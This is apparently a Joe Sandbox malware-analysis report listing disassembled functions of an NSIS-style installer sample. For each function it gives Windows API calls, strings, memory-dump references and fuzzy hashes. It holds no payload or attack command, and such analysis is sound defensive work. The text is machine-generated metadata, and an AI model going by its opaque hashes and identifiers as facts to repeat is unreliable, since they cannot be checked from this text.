Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(00000000,00000064,00001759), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 701A2569 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 701A121B: GlobalAlloc.KERNEL32(00000040,?,701A123B,?,701A12DF,00000019,701A11BE,-000000A0), ref: 701A1225

GlobalFree.KERNEL32(?), ref: 701A2657
GlobalFree.KERNEL32(00000000), ref: 701A268C

Memory Dump Source

Source File: 00000000.00000002.2259069122.00000000701A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701A0000, based on PE: true

Associated: 00000000.00000002.2259033794.00000000701A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259096559.00000000701A4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259132821.00000000701A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701a0000_xXUnP7uCBJ.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 561fd7fb8e2610592c0fecaeb61ebf2c8ecd88634759a17efa42e7f3bc9f1569
Instruction ID: 0aa48b1a1f0a2fd58eb4bfb0a29bcec9f890a56cad605f3f6336d977372ef69c
Opcode Fuzzy Hash: 561fd7fb8e2610592c0fecaeb61ebf2c8ecd88634759a17efa42e7f3bc9f1569
Instruction Fuzzy Hash: 6B31F2FA605101DFC7168F59CE94D6E7BBAFB8630033141ADFA46E3A60C770A815EB61

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 00404C9F
%u.%u%s%s, xrefs: 00404C97

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nswC272.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nswC272.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nswC272.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nswC272.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nswC272.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nswC272.tmp, xrefs: 004025E1
C:\Users\user\AppData\Local\Temp\nswC272.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nswC272.tmp$C:\Users\user\AppData\Local\Temp\nswC272.tmp\System.dll
API String ID: 3109718747-1180585899
Opcode ID: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction ID: c13fbae436403556d6c48d38c5ac6db5007ae9437622b5a65b164b2cac9ab4a1
Opcode Fuzzy Hash: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction Fuzzy Hash: FB110B72A00301BADB106BB18E8999F7664AF44359F20443BF502F21D0D9FC89416B5E

Function 701A18D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 701A193A
GlobalFree.KERNEL32(?), ref: 701A1ADA
GlobalFree.KERNEL32(?), ref: 701A1ADF

Memory Dump Source

Source File: 00000000.00000002.2259069122.00000000701A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701A0000, based on PE: true

Associated: 00000000.00000002.2259033794.00000000701A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259096559.00000000701A4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259132821.00000000701A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701a0000_xXUnP7uCBJ.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 25d4e79fc655301e5b9b7f90fe59b8886da8e3127b94169f09008c2ae25d54b7
Instruction ID: b6db8b706d78f69cb14f5a395c63677217b98aad08168d09e1100d617ca427e7
Opcode Fuzzy Hash: 25d4e79fc655301e5b9b7f90fe59b8886da8e3127b94169f09008c2ae25d54b7
Instruction Fuzzy Hash: F65107FED060D59ECB029FA4C9405AE7BBAFF44314F23465EE406E3B04D670AE8187A1

Function 701A2394 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 701A24D6

Part of subcall function 701A122C: lstrcpynW.KERNEL32(00000000,?,701A12DF,00000019,701A11BE,-000000A0), ref: 701A123C

GlobalAlloc.KERNEL32(00000040), ref: 701A245C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 701A2477

Memory Dump Source

Source File: 00000000.00000002.2259069122.00000000701A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701A0000, based on PE: true

Associated: 00000000.00000002.2259033794.00000000701A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259096559.00000000701A4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259132821.00000000701A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701a0000_xXUnP7uCBJ.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: fae0fb0fa9840edf400b40e22afefbb1803affe540842d63f4cd702dcb870fc9
Instruction ID: 83c76092d5daae50eca4768b17ede1cd26117b3f018f21c9d025c6351452b213
Opcode Fuzzy Hash: fae0fb0fa9840edf400b40e22afefbb1803affe540842d63f4cd702dcb870fc9
Instruction Fuzzy Hash: 2D41CEF9008305DFC7149F29D844A6E77F8FF9C320F2148AEF546A6A51EB74A848DB61

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 701A161D Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,701A21EC,?,00000808), ref: 701A1635
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,701A21EC,?,00000808), ref: 701A163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,701A21EC,?,00000808), ref: 701A1650
GetProcAddress.KERNEL32(701A21EC,00000000), ref: 701A1657
GlobalFree.KERNEL32(00000000), ref: 701A1660

Memory Dump Source

Source File: 00000000.00000002.2259069122.00000000701A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701A0000, based on PE: true

Associated: 00000000.00000002.2259033794.00000000701A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259096559.00000000701A4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259132821.00000000701A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701a0000_xXUnP7uCBJ.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 7416c729a5f036fd86526c160fe5f02c896efe32d51da87a9e84682df8155198
Instruction ID: 5dc3b5037dc76e5507dcddeea03d84d6ab353481fda81bfd639ade5145ceb625
Opcode Fuzzy Hash: 7416c729a5f036fd86526c160fe5f02c896efe32d51da87a9e84682df8155198
Instruction Fuzzy Hash: AFF0A2731061387BD62117AB8D4CDDBBE9CDFCB2F5B210225F718915A085615D01D7F1

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00405CBD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00405CC3
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00405CCD
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405CDF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CBD

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4083868402
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 595fb0ef6d3bfc82903baa2f142a0de03b6946227050b98ce465681b6cfad29b
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: AED0A771101630AAC111AB448D04CDF63ACEE45304342003BF601B70A2CB7C1D6287FD

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
